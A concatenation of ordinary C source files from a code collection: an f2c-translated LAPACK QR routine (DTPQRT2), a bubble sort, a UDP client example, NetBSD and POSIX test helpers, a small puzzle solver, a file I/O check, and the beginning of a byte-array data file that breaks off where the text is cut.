#define u_sign(__a,__b) ((__b) >= 0 ? ((__a) >= 0 ? (__a) : -(__a)) : -((__a) >= 0 ? (__a) : -(__a)))
#define d_sign(a,b) u_sign(*(a),*(b))
#define r_sign(a,b) u_sign(*(a),*(b))
#define d_sin(x) (sin(*(x)))
#define d_sinh(x) (sinh(*(x)))
#define d_sqrt(x) (sqrt(*(x)))
#define d_tan(x) (tan(*(x)))
#define d_tanh(x) (tanh(*(x)))
#define i_abs(x) abs(*(x))
#define i_dnnt(x) ((integer)u_nint(*(x)))
#define i_len(s, n) (n)
#define i_nint(x) ((integer)u_nint(*(x)))
#define i_sign(a,b) ((integer)u_sign((integer)*(a),(integer)*(b)))
#define pow_dd(ap, bp) ( pow(*(ap), *(bp)))
#define pow_si(B,E) spow_ui(*(B),*(E))
#define pow_ri(B,E) spow_ui(*(B),*(E))
#define pow_di(B,E) dpow_ui(*(B),*(E))
#define pow_zi(p, a, b) {pCd(p) = zpow_ui(Cd(a), *(b));}
#define pow_ci(p, a, b) {pCf(p) = cpow_ui(Cf(a), *(b));}
#define pow_zz(R,A,B) {pCd(R) = cpow(Cd(A),*(B));}
#define s_cat(lpp, rpp, rnp, np, llp) { ftnlen i, nc, ll; char *f__rp, *lp; ll = (llp); lp = (lpp); for(i=0; i < (int)*(np); ++i) { nc = ll; if((rnp)[i] < nc) nc = (rnp)[i]; ll -= nc; f__rp = (rpp)[i]; while(--nc >= 0) *lp++ = *(f__rp)++; } while(--ll >= 0) *lp++ = ' '; }
#define s_cmp(a,b,c,d) ((integer)strncmp((a),(b),f2cmin((c),(d))))
#define s_copy(A,B,C,D) { int __i,__m; for (__i=0, __m=f2cmin((C),(D)); __i<__m && (B)[__i] != 0; ++__i) (A)[__i] = (B)[__i]; }
#define sig_die(s, kill) { exit(1); }
#define s_stop(s, n) {exit(0);}
static char junk[] = "\n@(#)LIBF77 VERSION 19990503\n";
#define z_abs(z) (cabs(Cd(z)))
#define z_exp(R, Z) {pCd(R) = cexp(Cd(Z));}
#define z_sqrt(R, Z) {pCd(R) = csqrt(Cd(Z));}
#define myexit_() break;
#define mycycle() continue;
#define myceiling(w) {ceil(w)}
#define myhuge(w) {HUGE_VAL}
//#define mymaxloc_(w,s,e,n) {if (sizeof(*(w)) == sizeof(double)) dmaxloc_((w),*(s),*(e),n); else dmaxloc_((w),*(s),*(e),n);}
#define mymaxloc(w,s,e,n) {dmaxloc_(w,*(s),*(e),n)}
/* procedure parameter types for -A and -C++ */
#define F2C_proc_par_types 1
#ifdef __cplusplus
typedef logical (*L_fp)(...);
#else
typedef logical (*L_fp)();
#endif
static float spow_ui(float x, integer n) {
float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static double dpow_ui(double x, integer n) {
double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#ifdef _MSC_VER
static _Fcomplex cpow_ui(complex x, integer n) {
complex pow={1.0,0.0}; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x.r = 1/x.r, x.i=1/x.i;
for(u = n; ; ) {
if(u & 01) pow.r *= x.r, pow.i *= x.i;
if(u >>= 1) x.r *= x.r, x.i *= x.i;
else break;
}
}
_Fcomplex p={pow.r, pow.i};
return p;
}
#else
static _Complex float cpow_ui(_Complex float x, integer n) {
_Complex float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#endif
#ifdef _MSC_VER
static _Dcomplex zpow_ui(_Dcomplex x, integer n) {
_Dcomplex pow={1.0,0.0}; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x._Val[0] = 1/x._Val[0], x._Val[1] =1/x._Val[1];
for(u = n; ; ) {
if(u & 01) pow._Val[0] *= x._Val[0], pow._Val[1] *= x._Val[1];
if(u >>= 1) x._Val[0] *= x._Val[0], x._Val[1] *= x._Val[1];
else break;
}
}
_Dcomplex p = {pow._Val[0], pow._Val[1]};
return p;
}
#else
static _Complex double zpow_ui(_Complex double x, integer n) {
_Complex double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#endif
static integer pow_ii(integer x, integer n) {
integer pow; unsigned long int u;
if (n <= 0) {
if (n == 0 || x == 1) pow = 1;
else if (x != -1) pow = x == 0 ? 1/x : 0;
else n = -n;
}
if ((n > 0) || !(n == 0 || x == 1 || x != -1)) {
u = n;
for(pow = 1; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static integer dmaxloc_(double *w, integer s, integer e, integer *n)
{
double m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static integer smaxloc_(float *w, integer s, integer e, integer *n)
{
float m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static inline void cdotc_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Fcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conjf(Cf(&x[i]))._Val[0] * Cf(&y[i])._Val[0];
zdotc._Val[1] += conjf(Cf(&x[i]))._Val[1] * Cf(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conjf(Cf(&x[i*incx]))._Val[0] * Cf(&y[i*incy])._Val[0];
zdotc._Val[1] += conjf(Cf(&x[i*incx]))._Val[1] * Cf(&y[i*incy])._Val[1];
}
}
pCf(z) = zdotc;
}
#else
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i])) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i*incx])) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
#endif
static inline void zdotc_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Dcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conj(Cd(&x[i]))._Val[0] * Cd(&y[i])._Val[0];
zdotc._Val[1] += conj(Cd(&x[i]))._Val[1] * Cd(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conj(Cd(&x[i*incx]))._Val[0] * Cd(&y[i*incy])._Val[0];
zdotc._Val[1] += conj(Cd(&x[i*incx]))._Val[1] * Cd(&y[i*incy])._Val[1];
}
}
pCd(z) = zdotc;
}
#else
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i])) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i*incx])) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
#endif
static inline void cdotu_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Fcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cf(&x[i])._Val[0] * Cf(&y[i])._Val[0];
zdotc._Val[1] += Cf(&x[i])._Val[1] * Cf(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cf(&x[i*incx])._Val[0] * Cf(&y[i*incy])._Val[0];
zdotc._Val[1] += Cf(&x[i*incx])._Val[1] * Cf(&y[i*incy])._Val[1];
}
}
pCf(z) = zdotc;
}
#else
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i]) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i*incx]) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
#endif
static inline void zdotu_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Dcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cd(&x[i])._Val[0] * Cd(&y[i])._Val[0];
zdotc._Val[1] += Cd(&x[i])._Val[1] * Cd(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cd(&x[i*incx])._Val[0] * Cd(&y[i*incy])._Val[0];
zdotc._Val[1] += Cd(&x[i*incx])._Val[1] * Cd(&y[i*incy])._Val[1];
}
}
pCd(z) = zdotc;
}
#else
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i]) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i*incx]) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
#endif
/* -- translated by f2c (version 20000121).
You must link the resulting object file with the libraries:
-lf2c -lm (in that order)
*/
/* Table of constant values */
static integer c__1 = 1;
static doublereal c_b5 = 1.;
static doublereal c_b17 = 0.;
/* > \brief \b DTPQRT2 computes a QR factorization of a real or complex "triangular-pentagonal" matrix, which
is composed of a triangular block and a pentagonal block, using the compact WY representation for Q.
*/
/* =========== DOCUMENTATION =========== */
/* Online html documentation available at */
/* http://www.netlib.org/lapack/explore-html/ */
/* > \htmlonly */
/* > Download DTPQRT2 + dependencies */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.tgz?format=tgz&filename=/lapack/lapack_routine/dtpqrt2
.f"> */
/* > [TGZ]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.zip?format=zip&filename=/lapack/lapack_routine/dtpqrt2
.f"> */
/* > [ZIP]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.txt?format=txt&filename=/lapack/lapack_routine/dtpqrt2
.f"> */
/* > [TXT]</a> */
/* > \endhtmlonly */
/* Definition: */
/* =========== */
/* SUBROUTINE DTPQRT2( M, N, L, A, LDA, B, LDB, T, LDT, INFO ) */
/* INTEGER INFO, LDA, LDB, LDT, N, M, L */
/* DOUBLE PRECISION A( LDA, * ), B( LDB, * ), T( LDT, * ) */
/* > \par Purpose: */
/* ============= */
/* > */
/* > \verbatim */
/* > */
/* > DTPQRT2 computes a QR factorization of a real "triangular-pentagonal" */
/* > matrix C, which is composed of a triangular block A and pentagonal block B, */
/* > using the compact WY representation for Q. */
/* > \endverbatim */
/* Arguments: */
/* ========== */
/* > \param[in] M */
/* > \verbatim */
/* > M is INTEGER */
/* > The total number of rows of the matrix B. */
/* > M >= 0. */
/* > \endverbatim */
/* > */
/* > \param[in] N */
/* > \verbatim */
/* > N is INTEGER */
/* > The number of columns of the matrix B, and the order of */
/* > the triangular matrix A. */
/* > N >= 0. */
/* > \endverbatim */
/* > */
/* > \param[in] L */
/* > \verbatim */
/* > L is INTEGER */
/* > The number of rows of the upper trapezoidal part of B. */
/* > MIN(M,N) >= L >= 0. See Further Details. */
/* > \endverbatim */
/* > */
/* > \param[in,out] A */
/* > \verbatim */
/* > A is DOUBLE PRECISION array, dimension (LDA,N) */
/* > On entry, the upper triangular N-by-N matrix A. */
/* > On exit, the elements on and above the diagonal of the array */
/* > contain the upper triangular matrix R. */
/* > \endverbatim */
/* > */
/* > \param[in] LDA */
/* > \verbatim */
/* > LDA is INTEGER */
/* > The leading dimension of the array A. LDA >= f2cmax(1,N). */
/* > \endverbatim */
/* > */
/* > \param[in,out] B */
/* > \verbatim */
/* > B is DOUBLE PRECISION array, dimension (LDB,N) */
/* > On entry, the pentagonal M-by-N matrix B. The first M-L rows */
/* > are rectangular, and the last L rows are upper trapezoidal. */
/* > On exit, B contains the pentagonal matrix V. See Further Details. */
/* > \endverbatim */
/* > */
/* > \param[in] LDB */
/* > \verbatim */
/* > LDB is INTEGER */
/* > The leading dimension of the array B. LDB >= f2cmax(1,M). */
/* > \endverbatim */
/* > */
/* > \param[out] T */
/* > \verbatim */
/* > T is DOUBLE PRECISION array, dimension (LDT,N) */
/* > The N-by-N upper triangular factor T of the block reflector. */
/* > See Further Details. */
/* > \endverbatim */
/* > */
/* > \param[in] LDT */
/* > \verbatim */
/* > LDT is INTEGER */
/* > The leading dimension of the array T. LDT >= f2cmax(1,N) */
/* > \endverbatim */
/* > */
/* > \param[out] INFO */
/* > \verbatim */
/* > INFO is INTEGER */
/* > = 0: successful exit */
/* > < 0: if INFO = -i, the i-th argument had an illegal value */
/* > \endverbatim */
/* Authors: */
/* ======== */
/* > \author Univ. of Tennessee */
/* > \author Univ. of California Berkeley */
/* > \author Univ. of Colorado Denver */
/* > \author NAG Ltd. */
/* > \date December 2016 */
/* > \ingroup doubleOTHERcomputational */
/* > \par Further Details: */
/* ===================== */
/* > */
/* > \verbatim */
/* > */
/* > The input matrix C is a (N+M)-by-N matrix */
/* > */
/* > C = [ A ] */
/* > [ B ] */
/* > */
/* > where A is an upper triangular N-by-N matrix, and B is M-by-N pentagonal */
/* > matrix consisting of a (M-L)-by-N rectangular matrix B1 on top of a L-by-N */
/* > upper trapezoidal matrix B2: */
/* > */
/* > B = [ B1 ] <- (M-L)-by-N rectangular */
/* > [ B2 ] <- L-by-N upper trapezoidal. */
/* > */
/* > The upper trapezoidal matrix B2 consists of the first L rows of a */
/* > N-by-N upper triangular matrix, where 0 <= L <= MIN(M,N). If L=0, */
/* > B is rectangular M-by-N; if M=L=N, B is upper triangular. */
/* > */
/* > The matrix W stores the elementary reflectors H(i) in the i-th column */
/* > below the diagonal (of A) in the (N+M)-by-N input matrix C */
/* > */
/* > C = [ A ] <- upper triangular N-by-N */
/* > [ B ] <- M-by-N pentagonal */
/* > */
/* > so that W can be represented as */
/* > */
/* > W = [ I ] <- identity, N-by-N */
/* > [ V ] <- M-by-N, same form as B. */
/* > */
/* > Thus, all of information needed for W is contained on exit in B, which */
/* > we call V above. Note that V has the same form as B; that is, */
/* > */
/* > V = [ V1 ] <- (M-L)-by-N rectangular */
/* > [ V2 ] <- L-by-N upper trapezoidal. */
/* > */
/* > The columns of V represent the vectors which define the H(i)'s. */
/* > The (M+N)-by-(M+N) block reflector H is then given by */
/* > */
/* > H = I - W * T * W**T */
/* > */
/* > where W^H is the conjugate transpose of W and T is the upper triangular */
/* > factor of the block reflector. */
/* > \endverbatim */
/* > */
/* ===================================================================== */
/* Subroutine */ int dtpqrt2_(integer *m, integer *n, integer *l, doublereal *
a, integer *lda, doublereal *b, integer *ldb, doublereal *t, integer *
ldt, integer *info)
{
/* System generated locals */
integer a_dim1, a_offset, b_dim1, b_offset, t_dim1, t_offset, i__1, i__2,
i__3;
/* Local variables */
extern /* Subroutine */ int dger_(integer *, integer *, doublereal *,
doublereal *, integer *, doublereal *, integer *, doublereal *,
integer *);
integer i__, j, p;
doublereal alpha;
extern /* Subroutine */ int dgemv_(char *, integer *, integer *,
doublereal *, doublereal *, integer *, doublereal *, integer *,
doublereal *, doublereal *, integer *), dtrmv_(char *,
char *, char *, integer *, doublereal *, integer *, doublereal *,
integer *);
integer mp, np;
extern /* Subroutine */ int dlarfg_(integer *, doublereal *, doublereal *,
integer *, doublereal *), xerbla_(char *, integer *, ftnlen);
/* -- LAPACK computational routine (version 3.7.0) -- */
/* -- LAPACK is a software package provided by Univ. of Tennessee, -- */
/* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..-- */
/* December 2016 */
/* ===================================================================== */
/* Test the input arguments */
/* Parameter adjustments */
a_dim1 = *lda;
a_offset = 1 + a_dim1 * 1;
a -= a_offset;
b_dim1 = *ldb;
b_offset = 1 + b_dim1 * 1;
b -= b_offset;
t_dim1 = *ldt;
t_offset = 1 + t_dim1 * 1;
t -= t_offset;
/* Function Body */
*info = 0;
if (*m < 0) {
*info = -1;
} else if (*n < 0) {
*info = -2;
} else if (*l < 0 || *l > f2cmin(*m,*n)) {
*info = -3;
} else if (*lda < f2cmax(1,*n)) {
*info = -5;
} else if (*ldb < f2cmax(1,*m)) {
*info = -7;
} else if (*ldt < f2cmax(1,*n)) {
*info = -9;
}
if (*info != 0) {
i__1 = -(*info);
xerbla_("DTPQRT2", &i__1, (ftnlen)7);
return 0;
}
/* Quick return if possible */
if (*n == 0 || *m == 0) {
return 0;
}
i__1 = *n;
for (i__ = 1; i__ <= i__1; ++i__) {
/* Generate elementary reflector H(I) to annihilate B(:,I) */
p = *m - *l + f2cmin(*l,i__);
i__2 = p + 1;
dlarfg_(&i__2, &a[i__ + i__ * a_dim1], &b[i__ * b_dim1 + 1], &c__1, &
t[i__ + t_dim1]);
if (i__ < *n) {
/* W(1:N-I) := C(I:M,I+1:N)^H * C(I:M,I) [use W = T(:,N)] */
i__2 = *n - i__;
for (j = 1; j <= i__2; ++j) {
t[j + *n * t_dim1] = a[i__ + (i__ + j) * a_dim1];
}
i__2 = *n - i__;
dgemv_("T", &p, &i__2, &c_b5, &b[(i__ + 1) * b_dim1 + 1], ldb, &b[
i__ * b_dim1 + 1], &c__1, &c_b5, &t[*n * t_dim1 + 1], &
c__1);
/* C(I:M,I+1:N) = C(I:m,I+1:N) + alpha*C(I:M,I)*W(1:N-1)^H */
alpha = -t[i__ + t_dim1];
i__2 = *n - i__;
for (j = 1; j <= i__2; ++j) {
a[i__ + (i__ + j) * a_dim1] += alpha * t[j + *n * t_dim1];
}
i__2 = *n - i__;
dger_(&p, &i__2, &alpha, &b[i__ * b_dim1 + 1], &c__1, &t[*n *
t_dim1 + 1], &c__1, &b[(i__ + 1) * b_dim1 + 1], ldb);
}
}
i__1 = *n;
for (i__ = 2; i__ <= i__1; ++i__) {
/* T(1:I-1,I) := C(I:M,1:I-1)^H * (alpha * C(I:M,I)) */
alpha = -t[i__ + t_dim1];
i__2 = i__ - 1;
for (j = 1; j <= i__2; ++j) {
t[j + i__ * t_dim1] = 0.;
}
/* Computing MIN */
i__2 = i__ - 1;
p = f2cmin(i__2,*l);
/* Computing MIN */
i__2 = *m - *l + 1;
mp = f2cmin(i__2,*m);
/* Computing MIN */
i__2 = p + 1;
np = f2cmin(i__2,*n);
/* Triangular part of B2 */
i__2 = p;
for (j = 1; j <= i__2; ++j) {
t[j + i__ * t_dim1] = alpha * b[*m - *l + j + i__ * b_dim1];
}
dtrmv_("U", "T", "N", &p, &b[mp + b_dim1], ldb, &t[i__ * t_dim1 + 1],
&c__1);
/* Rectangular part of B2 */
i__2 = i__ - 1 - p;
dgemv_("T", l, &i__2, &alpha, &b[mp + np * b_dim1], ldb, &b[mp + i__ *
b_dim1], &c__1, &c_b17, &t[np + i__ * t_dim1], &c__1);
/* B1 */
i__2 = *m - *l;
i__3 = i__ - 1;
dgemv_("T", &i__2, &i__3, &alpha, &b[b_offset], ldb, &b[i__ * b_dim1
+ 1], &c__1, &c_b5, &t[i__ * t_dim1 + 1], &c__1);
/* T(1:I-1,I) := T(1:I-1,1:I-1) * T(1:I-1,I) */
i__2 = i__ - 1;
dtrmv_("U", "N", "N", &i__2, &t[t_offset], ldt, &t[i__ * t_dim1 + 1],
&c__1);
/* T(I,I) = tau(I) */
t[i__ + i__ * t_dim1] = t[i__ + t_dim1];
t[i__ + t_dim1] = 0.;
}
/* End of DTPQRT2 */
return 0;
} /* dtpqrt2_ */
|
the_stack_data/14201538.c | // 冒泡排序
#include<stdio.h>
#define LEN 7
void sortBubble(int array[], int len);
void main() {
int array[LEN] = {4, 5, 6, 3, 2, 1};
for (int i = 0; i < LEN; i++) {
printf("%d ", array[i]);
}
printf("\n");
sortBubble(array, LEN);
for (int i = 0; i < LEN; i++) {
printf("%d ", array[i]);
}
}
void sortBubble(int array[], int len) {
int* p = array;
for (int i = 0; i < len; i++) { // 前置位
int flag = 0; // 此次是否交换数据
for (int j = 0; j < len - i - 1; j++) { // 后置位
if (p[j] > p[j + 1]) { // 前面比后边大
int temp = p[j]; // 储存前者
p[j] = p[j + 1]; // 后覆盖前
p[j + 1] = temp; // 后给前
flag = 1; // 有数据交换
}
}
if (flag == 0)break; // 没有数据交换
}
} |
the_stack_data/247018431.c | /**
* C udp client test example.
*
* License - MIT.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pthread.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#define SERVER_IP "192.168.6.85"
#define MULTICAST_IP "224.22.22.222"
#define SERVER_PORT 65532
#define MAX_CONNECT 8
/**
* Main function.
*/
int main(void)
{
int ret = -1;
int len = -1;
int cltfd = -1;
char wbuf[] = "Hello UDP Server";
char rbuf[128] = { 0 };
struct sockaddr_in ser_addr;
struct sockaddr_in multi_addr;
/* Create socket. */
cltfd = socket(AF_INET, SOCK_DGRAM, 0);
if (0 > cltfd) {
printf("Error in socket.\n");
goto err_socket;
}
/* Initialize server address. */
len = sizeof(ser_addr);
memset(&ser_addr, 0, len);
ser_addr.sin_family = AF_INET;
ser_addr.sin_port = SERVER_PORT;
ser_addr.sin_addr.s_addr = inet_addr(SERVER_IP);
len = sizeof(multi_addr);
memset(&multi_addr, 0, len);
multi_addr.sin_family = AF_INET;
multi_addr.sin_port = SERVER_PORT;
multi_addr.sin_addr.s_addr = inet_addr(MULTICAST_IP);
/* Working. */
ret = sendto(cltfd, wbuf, strlen(wbuf), 0, (struct sockaddr*)&multi_addr, (socklen_t)len);
if (0 > ret) {
printf("Error in sendto.\n");
}
ret = sendto(cltfd, wbuf, strlen(wbuf), 0, (struct sockaddr*)&ser_addr, (socklen_t)len);
if (0 > ret) {
printf("Error in sendto.\n");
}
ret = recvfrom(cltfd, rbuf, 127, 0, (struct sockaddr *)&ser_addr, (socklen_t *)&len);
if (ret < 0) {
printf("Error in recvfrom.\n");
}
printf("[Client] Recv data: %s.\n", rbuf);
sleep(1);
close(cltfd);
return 0;
err_socket:
return -1;
}
|
the_stack_data/31506.c | /* $NetBSD: h_fileactions.c,v 1.1 2012/02/13 21:03:08 martin Exp $ */
/*-
* Copyright (c) 2012 The NetBSD Foundation, Inc.
* All rights reserved.
*
* This code is derived from software contributed to The NetBSD Foundation
* by Charles Zhang <[email protected]> and
* Martin Husemann <[email protected]>.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/stat.h>
#define BUFSIZE 16
/*
* This checks (hardcoded) the assumptions that are setup from the
* main test program via posix spawn file actions.
* Program exits with EXIT_SUCCESS or EXIT_FAILURE accordingly
* (and does some stderr diagnostics in case of errors).
*/
int
main(int argc, char **argv)
{
int res = EXIT_SUCCESS;
char buf[BUFSIZE];
struct stat sb0, sb1;
strcpy(buf, "test...");
/* file desc 3 should be closed via addclose */
if (read(3, buf, BUFSIZE) != -1 || errno != EBADF) {
fprintf(stderr, "%s: filedesc 3 is not closed\n",
getprogname());
res = EXIT_FAILURE;
}
/* file desc 4 should be closed via closeonexec */
if (read(4, buf, BUFSIZE) != -1 || errno != EBADF) {
fprintf(stderr, "%s: filedesc 4 is not closed\n",
getprogname());
res = EXIT_FAILURE;
}
/* file desc 5 remains open */
if (write(5, buf, BUFSIZE) <= 0) {
fprintf(stderr, "%s: could not write to filedesc 5\n",
getprogname());
res = EXIT_FAILURE;
}
/* file desc 6 should be open (via addopen) */
if (write(6, buf, BUFSIZE) <= 0) {
fprintf(stderr, "%s: could not write to filedesc 6\n",
getprogname());
res = EXIT_FAILURE;
}
/* file desc 7 should refer to stdout */
fflush(stdout);
if (fstat(fileno(stdout), &sb0) != 0) {
fprintf(stderr, "%s: could not fstat stdout\n",
getprogname());
res = EXIT_FAILURE;
}
if (fstat(7, &sb1) != 0) {
fprintf(stderr, "%s: could not fstat filedesc 7\n",
getprogname());
res = EXIT_FAILURE;
}
if (write(7, buf, strlen(buf)) <= 0) {
fprintf(stderr, "%s: could not write to filedesc 7\n",
getprogname());
res = EXIT_FAILURE;
}
if (memcmp(&sb0, &sb1, sizeof sb0) != 0) {
fprintf(stderr, "%s: stat results differ\n", getprogname());
res = EXIT_FAILURE;
}
return res;
}
|
the_stack_data/902758.c | /*
* Copyright (c) 2002, Intel Corporation. All rights reserved.
* Created by: julie.n.fleischer REMOVE-THIS AT intel DOT com
* This file is licensed under the GPL license. For the full content
* of this license, see the COPYING file at the top level of this
* source tree.
@pt:TMR
Test that the function:
int nanosleep(const struct timespec *, struct timespec *);
is declared.
*/
#include <time.h>
typedef int (*nanosleep_test)(const struct timespec *, struct timespec *);
int dummyfcn (void)
{
nanosleep_test dummyvar;
dummyvar = nanosleep;
return 0;
}
|
the_stack_data/16240.c | //TODO
#include <stdio.h>
int main(){
int b[2][3];
int c[3][2];
int i,j,k,l;
int d,e;
int m[3][3]={{0}};
int mp[2]={0};
for(i=0;i<2;i++){
if(scanf("%d%d%d\n",&b[i][0],&b[i][1],&b[i][2])==EOF)return -1;
}
for(i=0;i<3;i++){
if(scanf("%d%d\n",&c[i][0],&c[i][1])==EOF)return -1;
}
for(i=0;i<9;i++){
for(j=i+1;j<9;j++){
for(k=j+1;k<9;k++){
for(l=k+1;l<9;l++){
m[i/3][i%3]=m[j/3][j%3]=m[k/3][k%3]=m[l/3][l%3]=1;
int score[2]={0};
for(d=0;d<3;d++){
for(e=0;e<2;e++){
if(m[d][e]==m[d][e+1])score[0]+=b[e][d];
else score[1]+=b[e][d];
if(m[e][d]==m[e+1][d])score[0]+=c[d][e];
else score[1]+=c[d][e];
}
}
if(score[0]>=mp[0]&&score[1]>=mp[1]){
mp[0]=score[0];
mp[1]=score[1];
}
for(d=0;d<9;d++)m[d/3][d%3]=0;
}
}
}
}
printf("%d\n%d\n",mp[0],mp[1]);
return 0;
}
|
the_stack_data/193891948.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
int n;
char buf[64];
FILE *fptr;
fptr = fopen("/tmp/qa-fprint.txt", "w");
if(fptr == NULL)
exit(1);
fprintf(fptr, "%s", "DONE");
fclose(fptr);
fptr = fopen("/tmp/qa-fprint.txt", "r");
if(fptr == NULL)
exit(2);
n = fread (buf, 1, 64, fptr);
buf[n] = '\0';
fclose(fptr);
if(strncmp(buf, "DONE", 4) != 0){
printf("'%s'", buf);
exit(4);
}
return 0;
}
|
the_stack_data/82949278.c | #if defined __ICCARM__
#define __ALIGNED(x) x
#else
#define __ALIGNED(x) __attribute__((aligned(x)))
#endif
const unsigned char test1[] __ALIGNED(16) = {
0x4e,0x43,0x54,0x56, 0x14,0x00,0x00,0x00, 0x2c,0x01,0x00,0x00, 0x64,0x00,0x01,0x00,
0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff,
